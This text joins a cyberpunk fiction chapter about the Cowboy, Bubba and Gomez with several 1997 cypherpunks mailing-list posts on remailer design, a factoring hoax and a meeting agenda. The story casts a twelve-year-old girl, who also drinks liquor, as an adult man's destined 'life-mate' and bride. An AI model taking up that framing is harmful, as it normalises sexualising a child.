WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Toast


"No! We can't just leave
him there. We have to do something. We just have
to."

Alexis was inconsolable, and not without
good reason.

Priscilla gave up trying to console Alexis.
She gave up trying to explain why it was necessary, absolutely
necessary, to leave the Cowboy exactly where he was, and to make
no attempt, whatsoever, to rescue him, or even to communicate
with him.
The truth was, Priscilla didn't fully understand just why
this was so, any more than her daughter did.
"Uncle Bubba," she said, in exasperation, "why
don't you, being the wise, old sage that you are, get your
goddamn head out of the bottle, and come and deal with this mess
that you created."

Bubba, to be quite fair, was not drinking
recreationally in this great time of crisis, but was, in fact,
imbibing only a wee bit of the 'hair of the dog', for survival
purposes only.

After sending his 'niece' and her mother
away to prepare for the Cowboy's imminent return (in reality,
to spirit them out of harm's way), Bubba had spent the rest of
the preceding evening celebrating the upcoming 'happy occasion'
he had exuberantly announced, being extremely generous in proffering
great amounts of liquid libations on his fellow patrons at the
Broken Spoke Saloon, and partaking liberally of the refreshments
himself, as was his custom during celebrations of this nature.

Since he was undoubtedly in great danger
during these festivities, as he was quick to let everyone know
upon his return in an extremely wretched state, it was incumbent
upon him to play his role to the fullest, convincing one and all
that he was indeed enjoying an evening filled with drunken
debauchery and uninhibited carousing.
Though it caused pained expressions of disbelief, from all who
were gathered in his private 'safe house', that he should be professing
martyrdom for engaging in his favorite activity, the shit didn't
really hit the fan until he boldly announced, much to everyone's
surprise and consternation that, "With the Cowboy trapped
in the unbreakable grasp of Gomez, facing certain destruction
should he make one wrong move, I was drinking for two,
naturally."

Even the less socially astute observers,
including those with no innate knowledge of the human psyche,
had no trouble figuring out that this was the last thing
that a thirteen (almost) year-old girl-forced into an early womanhood
less than twenty-four hours previously, after discovering the
'love of her life'-needed to hear, was that her pre-destined life-mate
was in the process of having his mind "become a side-dish
on the Evil One's breakfast plate.", as Bubba added, after
hawking up several generous portions of the previous evenings
libations, "courtesy of Gomez's grateful minions at Nuthouse
Number Nine, Looney Level 'Leven."

As poor, sweet Alexis was thrown into the
throes of desolate hysteria by this announcement, the others gathered
together in the room shot Bubba a collective glance of disgust
that suggested that he might as well have 'broken into' the fantasies
she had been engaged in concerning the upcoming 'wedding' that
'Uncle' Bubba had so boldly announced, much to her surprise, and
crapped on the beautiful wedding cake that she was preparing for
the occasion in her sweet, innocent, young mind.
Bubba knew that there were going to be even less pleased with
what he was about to do, and he was not looking forward
to it, in the least, but it was something that had to be done.
He knew that much of her pain was from her connection with the
Cowboy giving her a sense of what he was going through,
and that she needed to be able to face it completely in
order to deal with the true reality of the situation.

He walked slowly over to Alexis, put a gentle,
fatherly hand around her shoulder, let out a vile, disgusting
belch, and said,
"Alexis, just try to think of him as a sorry, insane loser
named 'Arnold', who is going to get a total shit-kicking for not
having any better sense than to mess with his captors."

Alexis stared at Bubba in shocked disbelief,
as he added,
"Schultz is going to kick his sorry ass, morning, noon and
night, until the day that Gomez calls for his head on a silver
platter."

Alexis went 'nuclear' at this point, launching
a physical attack on Bubba that took a back seat to none of the
beatings that his ancestors had endured, and he spent the periods
between blows wondering why it was that his whole lineage had
seemed predestined to be their most useful while undergoing savage
physical attacks on their person. When the rain of blows ceased,
there was a short pause, and then Alexis threw her arms around
him, blubbering, like a baby,
"Oh, Bubba, I'm sorry, I'm so sorry. I know it's not
your fault."

She stood back momentarily, then began to
laugh, and said,
"Not bad for a twelve year-old girl, huh?"

The small group that had gathered around
them to watch, astounded by both of them, let out a belly-laugh
at her astuteness in reverting to her real age in order
to make her sound beating of the old buzzard all that more impressive.

Bubba, however, was generous in his defeat,
replying,
"Not bad for a warlord-in the prime of life!"

Everyone had another good belly-laugh, Bubba
included, and he and Alexis strode hand-in-hand to a back room
to talk in private.


"Why, Bubba? Why must we do nothing?
If you say it is so, then I can accept that, but I cannot live
without knowing why."

Bubba sat for a few minutes, in quiet contemplation,
and then began,
"For the good of all, it is best that you do not know. For
your own personal good, however, it is best that I tell you. And,
in my own mind, at least, there is no good for the collective
that can come at the expense of its individuals. So I will tell
you why we must do nothing to save the Cowboy, although remaining
inactive in this matter goes completely against the grain of common
sense and reasonable caution."

Bubba thought for a moment, then added,

"Although, to tell the truth, I get the sense that if the
Cowboy is indeed 'Shooting the Moon', and challenging Gomez to
lay his balls on the table with the "Winner's Bluff"
gambit...", Alexis was nodding as Bubba spoke, following
and understanding the matters that he was speaking of, but she
grew positively wide-eyed in astonishment when he couldn't resist
adding, with a laugh, "and doing so without holding a winning
hand..."

"There is no 'Magic Circle'?",
Alexis almost cried out, in amazement? "He doesn't have
the 'Bitch'?"

"Shhh!", Bubba admonished her
sternly, " No one must know this-not even you."


They both laughed out uproariously at this
absurd statement, given the fact that Bubba was already 'spilling
the beans' to her, at the same time that he was instinctively
reaching for the bottle of 'Bubba's Private Reserve' in the cupboard
behind him, knowing that if one was about to embark upon a journey
beyond the bounds of reason and discretion, that one might as
well, 'go the whole hog, including the postage', as one of his
earliest ancestors used to proclaim.

Alexis leaned over and reached behind Bubba
to get a shot-glass for herself.
"No need to 'abuse' yourself by 'drinking for two'.",
she told him. "I'll carry the Cowboy's share of the load."

Her reference to the Cowboy brought them
back to the true sobriety of the situation, and their glasses
rose in silent toast to him, and Bubba started to continue, but
Alexis cut him off, asking,
"Bubba, after you had 'thrown in' your hand, conceding defeat,
and I told you that it was your turn to play, you realized,
immediately, that you'd been 'had', didn't you?"

"Of course.", Bubba replied with
an air that left no doubt that only a 'fool' would have to have
it pointed out to him that he'd just been made a 'fool' of.

"But you had to look, didn't
you? You held the Queen of Spades in your hand the whole game,
you knew that you had it, but after getting 'suckered'
into conceding it to me, and realizing your mistake, too late,
you still had to look, like a 'rookie' fool, to truly believe
that you had indeed been such a complete idiot."

"As old, and wise, and wily as I am,"
Bubba, agreed with her, pleased that she had come to a clear understanding
of just what had taken place, without his having to 'explain'
it to her, "I fell, hook, line and sinker, like the freshest
of 'rubes' falling off of the eternally proverbial 'turnip truck'."

"And as old, and wise, and humble as I truly am,"
he continued, "I still had to look at that
card in order for my ego to believe that it was indeed possible
for such a great, magnificent being such as myself to be such
a sorry, pathetic, fool of a man." He paused, and smiled
at Alexis, adding profoundly, "And likewise, I am sure, is
the present position of our new, beloved ally-Gomez." 

"Why was I instructed to begin calling
you 'Uncle' Bubba?", Alexis wanted to know.

"Because, I am assuming, with certainty,
the 'Queen of Clubs' that the Cowboy 'passed off' as the 'Bitch'
to Gomez, throwing him off-balance and setting him up for the
'fall', was 'Uncle' Bubba D'Shauneaux. The Cowboy passed himself
off as a 'nephew', by lineage, of Vice-Admiral D'Shauneaux."

"But," Alexis seemed confused,
"D'Shauneaux lived and died over a century, ago, so how could
that ruse possibly threaten...", her voice trailed off
as she began to recognize the common threads between the life
of the Cowboy, and that of Bubba, whose history she knew exceedingly
well. Bubba linked the threads together for her, just the same.



"You know, of course, that when I speak,
I speak for my lineage, as well as for myself. When I tell people
that I was at the original, allegorical meeting of the
legendary, mythical group known as the 'Circle of Eunuchs', it
is because I AM Bubba Rom Dos I, and the II, and so on right up
to today, as Bubba Rom Dos VI.
"The Cowboy is of a parallel lineage, but one with a significant
difference."

Alexis sat up and paid close attention to
Bubba's every word, knowing that this might be the only opportunity
she would ever have to learn the history of, and in this way,
perhaps grow somehow closer to, a life-mate in her current path
of destiny who she would probably never again encounter, losing
him less than a single day after recognizing his special place
in her life. She grew sad at the thought.

Bubba, either wishing to lift her out of
her momentary depression, or just being an ornery old buzzard
by nature, reminded her, as if continuing her own inner train
of thought,
"...and who last gazed upon your youthful beauty as if
you were an 'odd sock' that somehow ended up in his laundry by
mistake, and he didn't know what to do with you."

"Shut up you old buzzard." Alexis
poked him in the ribs, grabbed the bottle, poured herself a shot,
knocked it back with a flourish, uttered, disgustedly, "Men...",
and sat, waiting for him to continue.

"As I was saying," Bubba continued,
smiling smugly, "his lineage differed from mine in one very
important respect. Namely-to all outward appearances-it
didn't exist."

Alexis was transfixed, once again, on his
every word.

"You know, of course, of the myths
that run 'in the midst of' the myths surrounding the Magic Circle,
and of the legends 'running parallel to' the legend of the 'Circle
of Eunuchs'. In particular, I am speaking of the 'rumors' that
link the lineage of the Fool to that of the Head Hacker, and to
the GrandMaster, et al."

Alexis nodded her head, knowing that there
were differing 'versions' of these parts of the legends, none
of them taken too seriously.

"These parts of the legend have been
purposely 'diluted' so as to give an 'indication' of the truth
of the matter, while remaining 'will 'o wisp' enough in their
nature so as not to draw too much serious attention to them. The
reason for this is because the 'indications' are, in fact, indicative
of the 'truth' of the matter-the connection between the Head Hacker
and the Fool is just as real and lasting as the lineage of Rom
Dos.
"And who do you think, my dear, is the current representative
of this 'secret' lineage?", Bubba teased Alexis playfully,
and she loved it, responding with the youthful enthusiasm of the
child she still remained, in many respects.

"The Cowboy, Bubba.", Alexis said,
bouncing where she sat, with joy, hardly able to contain herself.
"It's the Cowboy."

"And who do you think was the founder
of this particular lineage in the mythical 'Circle of Eunuchs'?",
Bubba asked her, knowing that she would not take long in solving
the 'puzzle'.

Alexis looked perplexed for a moment, knowing
that there was nothing at all in the legend that dealt with any
rumored linkage of this lineage pre-dating the Head Hacker. So
the answer must lie with the Cowboy himself...and...
"The 'Parker Paradox'.", Alexis stared, in wonderment,
unable to believe what must surely be true. "The lineage
started with the man who started it all, who authored 'The Xenix
Chainsaw Massacre', the book that began the legend of the 'Circle
of Eunuchs'."

"C.J. Parker.", Bubba said, in
confirmation. The founder of the lineage of the Author.

"But he died!", Alexis
proclaimed, then added, tentatively, "Didn't he?"

Bubba sat, in quiet contemplation, for several
minutes, and then looked deeply into Alexis' eyes as he said to
her, with an air of great mystery,
"Perhaps. Perhaps not. Perhaps...though it happened over
a hundred years ago, long in the past...perhaps it has not
yet been decided."


Alexis sat, spellbound, for several moments,
until Bubba handed her a slip of paper passed down to him by his
ancestors-a slip of paper on which was written the wisdom of the
Fool.

"The Power of Myth is the cornerstone
of the 'Inaugural Enigma'. Mythos is the 'Black Bitch'
of the universe...it's the wildcard in the game of life."



Alexis looked questioningly at Bubba, who
merely smiled, and shrugged his shoulders, indicating that he
was truly as mystified as she was on this point.

"I don't know, Alexis. I truly don't
know." He paused to sip his drink quietly, then continued,
once again.
"It could be that C.J. Parker did, in fact, somehow survive.
Or it could be that the lineage has been continued, unbroken,
by a succession of individuals who have picked up the torch each
time it has fallen, and assumed the mantle of the lineage of the
true founder of the mythical 'Circle of Eunuchs'. Or perhaps the
true answer to this question has yet, through the Power of Myth,
to be determined.

"But one thing is certain...",
Bubba took Alexis gently by the hand, as he explained,

"The Cowboy has revealed himself to
Gomez as a true descendant of the lineage of the Author. This
means that Gomez will have been proclaimed, by the Cowboy, to
have failed in extracting his measure of revenge against the individual
who launched a movement that has dogged the Dark Forces' heels
for over a century, and has been the personal nemesis of Gomez
and the Evil One, himself.
"Gomez's revenge upon his chief enemy now falls upon the
shoulders of the current representative of the lineage of the
Author...the Cowboy."

Alexis' stoic acceptance of the truth concerning
the Cowboy's situation earned her Bubba's eternal respect, from
that moment forward, and he knew that he need not hide nor shade
the remainder of his explanation to any degree, whatsoever. He
was now 'duty-bound' to deliver the whole truth, as it existed.

"If you think back to our final game
of 'Pitch with the Bitch', I think you will realize that the Cowboy
taunted Gomez to a degree that, no doubt, drove him 'over the
edge', and guaranteed the Cowboy a death more terrible and painful
than most men could ever imagine...", Bubba paused for
a moment, to keep his voice from choking, "but he also bought
himself, and the rest of us, a small amount of time, by playing
a 'card' that he didn't truly hold."

"Uncle Bubba.", Alexis said, automatically,
and waited for Bubba to continue.

" That's right, Alexis. He has declared
his lineage to be linked by blood to the lineage of Vice-Admirable
D'Shauneaux. Were this actually true-and Gomez will be forced
to make absolutely certain that it is not true before
proceeding-then Gomez's 'tit' would be 'in a wringer', as they
used to say in those days, at least as far as the InterNet is
concerned."

"Why is that?", Alexis asked,
momentarily puzzled.

"Have you ever noticed a 'discrepancy',"
Bubba asked her, "between the 'legend' as we know it, and
the 'Addendum' to 'The Xenix Chainsaw Massacre'?"

Alexis' eyes lit up, immediately.
"Yes, yes. There was always something that felt somehow
out of place, and I could never quite put my finger on it before,
but it seems so glaringly blatant, now.", she replied, excitedly.

"In the 'legend', the Vice-Admiral is oblivious to the role
played by his long-time friend, C.J. Parker, until after
'Operation Eunuchs' has tracked him down and discovered his body.
At that point, he takes over Pearl Harbor Computers, in order
to warn the Magic Circle to steer clear of himself. But in the
'Addendum' to TXCSM, he talks of having participated in the formation
of the company, from its very inception."

"Exactly!", Bubba confirmed. 

"D'Shauneaux added this 'twist' to the 'Addendum', with the
idea of planting a seed in the mind of Gomez that perhaps D'Shauneaux
had been an 'agent' of the 'Circle of Eunuchs' all along. If this
had been the case, then it would have meant that the InterNet
had been seriously compromised, over an extended period of time,
due to Vice-Admiral D'Shauneaux's position as Head of Security
for the entire InterNet, and the 'Net would have to be torn down
and rebuilt, from the ground up-a major loss of ground that Gomez
could ill-afford at the time.

"But the 'Addendum' was a pathetically
weak attempt, from surface appearances, at 'rewriting' the past,
and Gomez was able to dismiss giving it serious consideration
as a being a real possibility, although he had D'Shauneaux watched
constantly, until the day of his death, to confirm the evaluation
he had made in this regard."
"However, Gomez now finds himself, a hundred years later,
with the Cowboy, speaking under the auspices of the Author, himself,
C.J. Parker, and he's calling Admiral D'Shauneaux 'Uncle Bubba',
thereby 'resurrecting' the idea that a deeper connection-and thus
possibly an ongoing conspiracy-between Parker and D'Shauneaux,
was a 'reality', once again raising the possibility of the InterNet
being corrupted and compromised, only 'this time', a century down
the road, at the very apex of the fruition of Gomez and the Evil
One's Grand Design."

"But why," Alexis asked, "would
Gomez give any more credence to the Cowboy's claim of a deeper
association between the two, than he did to D'Shauneaux's original
attempt at raising the possibility?"

"Think about it.", Bubba replied,
and then proceeded to lead her through what he, based on his observations
of their final game of 'Pitch', believed was the Cowboy's strategy
in making his 'pitch' to Gomez.

"The Cowboy would have opened boldly
by establishing a genuine 'link' to D'Shauneaux, one containing
personal details that went 'beyond' the commonly known details
of the legend. This, coming from an 'unknown entity' having no
previously known link to the legend, would be designed to throw
Gomez a tad off-balance.
"His next step would be to continue boldly, establishing
that he was, however vainly, 'on the offensive'. He would have
laid out strong enough cards to surprise Gomez and pique his interest
in the Cowboy having come 'out of nowhere' to demonstrate that
he is a 'genuine player' in the ongoing legend of the Magic Circle.

"Then he would have hit him with 'Uncle
Bubba', indicating that a 'major player' on the current InterNet
is indeed an unknown descendant of D'Shauneaux, thus annoying
Gomez by flashing a 'card' that had been played a century previously,
and discounted as a threat to the overall game. By flashing it
'early' in his game, the Cowboy would have forced the stakes to
a higher level, giving a great more import to the cards that he
was about to play, and, by corollary, if they were 'good' cards,
then they would thus confirm the possibility that the previously
played cards, 'Uncle Bubba' in particular, were valid cards, as
well."

"And the very moment that the
relationship of the next few cards deciding the importance of
the previous cards sank in, the Cowboy would have hit Gomez with
his knowledge of the 'Inaugural Enigma'." Bubba laughed heartily,
knowing that he was certainly right about this.

"Why would this be such a powerful
'card'.", Alexis prodded Bubba.

"Because, my dear," Bubba responded
with gleeful insight, "with knowledge of the Inaugural Enigma,
he's now linking himself to the Fool, thus establishing a 'heritage',
and raising the possibility of the 'reality' of another previously
disregarded 'link', the rumored connection of the Fool and the
Head Hacker. And Gomez would already have figured out that if
this indeed was a line of 'heritage', that the 'real' import
of the Cowboy's cards would have to do with an 'expansion' of
that heritage. It would also mean that Gomez was being,
'laughed at' by some unknown quantity, known only as the Cowboy,
and being told that he was wrong in his decisions about
two major concerns in his past.

"It had to be obvious by this point
that the Cowboy was just starting to get 'warmed up', and it must
have been driving Gomez crazy. So this is where the Cowboy
would have stopped to challenge Gomez to put his 'balls to the
wall', and he would have pulled the 'Winner's Bluff' gambit."

"You, my dear, sweet Bubba," Alexis
purred, "almost hemorrhaged, at this point in the game. What
on earth do you think Gomez's reaction was?"

"Without doubt," Bubba stated
resolutely, "his eyes crossed, and he 'shit a fiery brick'."

"Without a doubt.", Alexis agreed,
smiling. "And then?"

"And then," Bubba pointed out,
"the Cowboy would have done exactly as you, yourself, did-bang,
bang, bang,-one, two, three-back to back tricks, played hard and
fast.
"My best guess is that two of last three 'tricks' would have
included the fact that the Author, C.J. Parker, had survived,
and that sitting right in front of Gomez, spitting on the balls
that Gomez had so boldly laid on the table, was the Author's successor,
and current representative-the Cowboy.

"This had to have launched Gomez so
far off the deep-end that he would have totally 'flipped his wig'.
I would venture to say that, at this point, our dear, beloved
Cowboy officially became 'toast' as far as his future prospects
of living and breathing in the absence of pain are considered."


Bubba knew that, at this point, it was difficult
for Alexis not to 'jump forward' to the question of there perhaps
being a possibility, however slim, of changing the Cowboy's prospects,
but she bit her lip, and continued to follow the flow of Bubba's
narrative.

"So what do you think are the odds
that the Cowboy's 'bluff' was successful." Alexis asked.

"Before I answer that, Alexis, allow
me to mention our part in 'backing his action', so to speak."

Bubba paused for a moment, to collect his
thoughts, then continued,
"Do you remember the last time that you saw the Cowboy?"

"Yes.", Alexis smiled, without
restraint. "I scared him."

"He would deny it, of course,"
Bubba laughed, "but that is a fairly accurate description
of his reaction to your presence.
"He confided to me later, that he had a 'strange premonition'
about you, though he was confused as to its meaning, and that
it 'bothered' him so much that he eventually gave in to his inclinations
and ran a complete background history on you. He follow your lineage
back through all the archives, right up to the beginning records
of the InterNet. He found out something about you and I that even
we, ourselves were unaware of."

"When Gomez performs the same task,
as he most certainly will do, following my 'grand announcement'
of yesterday evening, and my subsequent 'celebration' of your
upcoming 'marriage' to the 'nephew' of D'Shauneaux, by lineage,
of course, then he will find, as the Cowboy found, that you are,
my dear Alexis, by virtue of our own lineages, my 'niece', as
I so eloquently stated, last night."

Alexis jumped up and threw her arms around
Bubba, smothering him with happiness, and squealing with joy to
be truly related, however far back, to the lecherous old geezer
of her recent youth.

Bubba composed himself, and continued,
"Thus, Gomez will thereupon double, and redouble, his efforts
to check the possibility of my 'companion claim' also being true,
namely, that the Cowboy is, by lineage, the 'nephew' of D'Shauneaux,
or rather, that C.J. Parker, who, according to the Cowboy's account,
survived and propagated the lineage of the Author, was the actual,
living, breathing, nephew and co-conspirator of Vice-Admiral Bubba
D'Shauneaux, who was the Head of Security for Gomez's precious
InterNet from its very inception.

"I have every reason to believe,"
Bubba continued, finally answering Alexis' question, "that
the breadth and scope of his inquiries into this matter will set
in motion a 'chain-reaction' that will result in the actualization
of what has hitherto remained only a myth-the creation of the
mythical 'Circle of Eunuchs', whose existence has been debated
for the last hundred years."

"Now, my dear, I must take my rest,
but be assured that I will, upon rising, broach the subject of
what possibility there may be, though I would not wish to lead
you to believe that there is any but the slimmest of hopes, in
changing the prospects of the Cowboy-for the better, naturally."



Bubba immediately began to drift off to sleep, praying that, by
the time he awoke, he might have truly found some small, real
hope to give to Alexis in regard to her 'new love' in life, the
Cowboy. 


Channel 23 - Toast







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 31 Mar 1997 20:00:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <v03007800af65a21b1ec9@[207.167.93.63]>
Message-ID: <Peqg5D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 11:05 AM -0500 3/31/97, Ray Arachelian wrote:
> >Is this for real or a troll???
> >
> >On Mon, 31 Mar 1997, Anonymous wrote:
> >
>
> >> >"Leading researcher Ari Lenstra last night announced major
> >> >progress had been made towards a solution to the factoring
> >> >problem, a result obtained by Sergei Ripov, researcher at
> >> >an obscure university in the former Soviet union, shows
> >> >conclusively that there exists a solution to the problem
> >> >that is of polynomial time complexity, although this solution
> >> >has yet to be found this signals the beginning of the end for
> ...
>
> It sure does resemble my "Russian Factoring Breakthrough" post of several
> years ago (April 1st, 1994, if I remember the year correctly).
>
> I had the same format: a reporter in Moscow, a press release, a secret
> Russian research facility, and a breakthrough in factoring....

Actually, Timmy's was funnier.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 22:57:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:46 PM 3/28/97 EST, Dimitri wrote:
>That's a good idea, but it'll take up a lot of disk space at the
>machine running the remailer.  Right now, remailers that provide
>latency don't keep an e-mail for more than about 12 hours. Once
>you start keeping them around for a few days (a reasonable grace
>period for a first-time user), it's a lot more disk space.

Typical remailers carry maybe 100-500 messages/day;
typical messages run 1-20KB unless they're pictures or warez.
	(Yes, I'm making these numbers up....)
That's about 1-10MB/day of traffic.  If you keep it 7 days,
that's up to 70 MB storage, which you'd probably keep in /tmp
to avoid backups and maybe avoid disk quotas.
If you're running it on your own desktop machine, that's small;
it's a bit large for a laptop, and whether it's reasonable for an
ISP shell account depends a lot on your ISP's policies and disk quotas
(and /tmp clearing policies.)

>Suppose a LEA wants to search the computer hosting the remailer.
>They come across a bunch of encrypted files.
>The operator has to convince the LEA that they don't have the means
>to decrypt the e-mails or even to figure out who they're from.
>That just may be close to contempt of court. 

But you don't have to explain it to the LEA - you may have to
explain it to a court, but you get to bring along a lawyer.
It's not contempt if you're telling the truth (that you can't decrypt it.)

On the other hand, if you're using a two-part key (one sent to the
recipient, one kept in transient memory on your machine plus in your head),
you _do_ get to explain to the judge why you're refusing to testify,
and why the ECPA protects the privacy of all the messages that
may be revealed if you release your half of the key,
and why you need sworn testimony from the LEAs about exactly which
messages they've eavesdropped besides the ones addressed to their target,
and about why giving them the key would violate the privacy of
the recipients of those other messages so they can't have it,
but you also refuse to decrypt the ones for the victim yourself,
at least without a direct court order (as opposed to a mere warrant) -
_then_ you'll have the opportunity to get close to contempt of court :-)

>Say, you might be asked to 
>explain how you generate the "random" keys so they can be recreated.

If the "random" key includes a part you know as well as a part
the user knows, and the user's part not only includes a hash of
the message (so you need to know the contents of the message to
recreate the session key) but also the usual things like the
system clock to the microsecond and the contents of the rand pool,
and maybe a few hits from /dev/random - then it's perfectly fine
to tell them.

>IMO, the 'net has changed from what it used to be a few years ago.
>One can no longer send e-mail to an unknown recipient and hope that
>they're willing to accept anonymous e-mail. 
I'd agree, but from the first anonymous remailers open to the public
there were people who didn't like receiving anonymous mail :-)

>unless the remailer knows that the recipient took some positive
>action to indicate that s/he has a clue (such as, added a key to a
>keyserver), their anon mail should be immediately discarded and
>they should instead get a note:

That's an interesting approach - a bit extreme, but the main cypherpunks
applications for anonymous remailers are things like whistleblowing
(which can be posted to the net or emailed to people like Foo Inspectors
who _ought_ to be willing to accept anonymous mail) and potential
co-conspirators (who _ought_ to be willing to accept it if they're
interested in co-conspiring), and of course yourself under various aliases.

>> > Right now, there's a very large number of addresses in the key servers.
>> > Instantly making them into a list of addresses that accept anon mail
>> > will make it hard (hopefully infeasible) for the LEAs to investigate
>> > everyone willing to accept anon e-mail as a suspect in sending it.

A nice touch.

>> To solve this problem you need to do a ping message, "please reply
>> with this nonce to be blocked".
Yep.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 31 Mar 1997 20:39:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Of interest, perhaps
Message-ID: <v03020907af663d7e1612@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: ace@adelie.tidbits.com
Mime-Version: 1.0
Date: Mon, 31 Mar 1997 16:42:16 -0800
To: Robert Hettinga <rah@shipwright.com>
From: "Adam C. Engst" <ace@tidbits.com>
Subject: Of interest, perhaps

What do amber, beads, drums, eggs, feathers, leather, and oxen all
have in common with the aforementioned shiny things? That's right!
They've all been used at one time or another as money. (The oxen were
hell on ATMs, but that's another story.) So, if you're feeling a
little down in the wallet around tax time, circulate on over to the
History of Money. The site, derived from a book of the same name,
takes an in-depth look at where "wampum" has been and where it's
going, from ancient times to the present day. Especially interesting
is the chronology, giving the low down on loot from 9000 BC to
2002. That's well over a hundred years, according to our accountant.
(Please note that not once did we say, "Show me the money!" See Jerry
Maguire for more on this.)

	http://www.ex.ac.uk/~RDavies/arian/llyfr.html


--
Adam C. Engst, TidBITS Editor -- ace@tidbits.com -- info@tidbits.com
                                 -----------------------------------
  Answers to some common questions via email at faq-adam@tidbits.com
            or via the Web at <http://www.tidbits.com/adam/FAQ.html>
       Internet Starter Kit for Macintosh, 4th Edition now available
                                      <http://www.tidbits.com/iskm/>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 23:38:19 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.32.19970330132722.006f1bdc@netcom9.netcom.com>
Message-ID: <3.0.1.32.19970331233242.00633a98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:40 PM 3/30/97 -0800, Lucky Green <shamrock@netcom.com> wrote:
>Reply blocks are unreliable anyway. 
Yeah, but they're a moderately useful kluge in that they
let you separate the information about how to find an anonymous recipient
into at least two places, which is far more secure than just one.
They're relatively annoying to use, but the nymserver approach
makes it possible to use them without the average user messing
with the details.

>The current piggy backing of recipient anonymity
>on systems designed to provide sender anonymity can not work reliably and
>must therefore be replaced by a separate design.

Is this a distributed-commercial-remailer-boxes approach, 
or something different?  It's a hard problem to do right.

In a large-scale system, one good design is to have a Pipenet
or equivalent that's used to pick up POP-mail.  It needs enough
traffic/users/bandwidth to achieve Obscurity, but if you could
convince people to carry their Usenet feeds as cover traffic,
that'd be more than enough :-)  Store-and-forward variants are
less reliable, but may do a good enough job, or I suppose you
could cook up some sort of distributed message pools.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@toad.com>
Date: Fri, 7 Mar 1997 01:22:58 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: MEETING:  SF Bay Area Cypherpunks Meeting, March 8th 1997
Message-ID: <199703070922.BAA02651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Dave Del Torto <ddt@pgp.com>
Subject: SF Bay Area Cypherpunks Meeting 8 March

--Eudora-PGP-Plugin-5108864832-1354432592
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This message and any updates thereto will be on the web at
<http://www.stanford.edu/~llurch/cpunks970308.html>

March 97 Cypherpunks Physical Meeting

[1]  Strange Sex Acts with Smart Cards                            (~60 min)
[2]  Recent Crypto Legislation Summary                            (~30 min)
[3]  pre-CFP97 Discussion Session                                 (~30 min)
[4]  The Latest from Ian                                          (~30 min)
[5]  Trust Metrics                                                (~60 min)
     (Times may not sum due to ranting.)

  Date: Saturday 8 March 97
  Time: (setup)   11 AM
        (meeting) 12 Noon - 6 PM
        (optional post-meeting dinner)
 Hosts: Rich Graves, Stanford Networking Systems <llurch@stanford.edu>
        Dave Del Torto, PGP Inc. <ddt@pgp.com>
 Place: Polya Hall / Turing Auditorium, Stanford University campus
Directions:
        A (bit)map of the part of the Stanford Campus where the meeting will
        be held is at:

        <http://www-facilities.stanford.edu/transportation/PGrid4.html>

        From Hwy 101, take the Embarcadero exit all the way to campus. Turn
        right (clockwise) on Campus Drive. Turn left into the Jordan Quad
        parking lot.

        From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then
        left (counterclockwise) onto Campus Drive. Turn right into the
        Jordan Quad parking lot.

 Notes: Ethernet to redundant T3 network connection, analog modem,
        Ricochet/Metricom repeater available.
        Very cool SVGA projector, old-fashioned overhead projector too
        Win95 and Mac CPU


                                - AGENDA -


[1]  Strange Sex Acts with Smart Cards                            (~60 min)
      with Lucky Green <shamrock@netcom.com>
       - SmartCard Types
       - Digital Signatures and Smart Cards (an introduction)
         - Lamport Signatures:
           - Extended Lamport Signatures
           - opt'l: Compact Endorsement Signatures (needs mgmt approval)
       - DigiCash's BLUE Smart Card OS
       - Show and Tell (optional)

     Browsing strongly recommended beforehand:
      1. Tutorial: "Digital Signatures and Smart Cards"
         <http://www.digicash.com/publish/digsig/digbig.html>
      2. BLUE smart card OS info:
         <http://www.digicash.com/products/blue/blue.html>


[2]  Recent Crypto Legislation Summary                            (~30 min)
      with Greg Broiles <gbroiles@netbox.com>
       - summary of the recent crypto legislation
         - ProCODE
         - ECPA 1997 (s. 376)


[3]  pre-CFP97 Discussion Session                                 (~30 min)
      see <http://www.cfp.org/>


[4]  The Latest from Ian                                          (~30 min)
      with Ian Goldberg <iang@cs.berkeley.edu>
       - PDF417-barcode-to-ecash converter utility
       - RSA implementation for the Pilot

[5]  Trust Metrics                                                (~60 min)
